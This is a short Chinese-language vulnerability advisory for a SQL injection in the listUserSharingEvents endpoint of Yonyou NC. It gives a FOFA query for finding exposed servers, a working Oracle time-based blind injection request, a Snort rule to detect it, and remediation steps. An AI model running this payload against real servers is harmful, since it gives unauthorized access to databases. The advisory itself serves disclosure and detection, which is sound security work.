

用友NC listUserSharingEvents 存在SQL注入漏洞

用友NC listUserSharingEvents 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友NC

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="用友-UFIDA-NC"

POC/EXP:

```
GET /portal/pt/oacoSchedulerEvents/listUserSharingEvents?
agent=1')+AND+1=dbms_pipe.receive_message('RDS',5)--
&pageId=login&sch_ed=2&sch_sd=1 HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101
Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Yonyou NC - Oracle SQL Injection in listUsersSharingEvents (CVE-202X-XXXX)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/portal/pt/oacoSchedulerEvents/listUserSharingEvents"; http_uri;
  content:"pageId=login"; http_uri;
  content:"X-Requested-With: XMLHttpRequest"; http_header;
  pcre:"/agent=[^&]*'\)\s*\+\s*AND\s+1=dbms_pipe.receive_message$/i";
  metadata:service http;
  metadata:affected_product "用友NC系统";
  metadata:attack_type "Oracle Time-Based Blind SQL Injection";
  metadata:severity "critical";
  reference:url,www.example.com/vulndb/yonyou-nc-sqli;
  classtype:sql-injection;
  sid:1000130;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。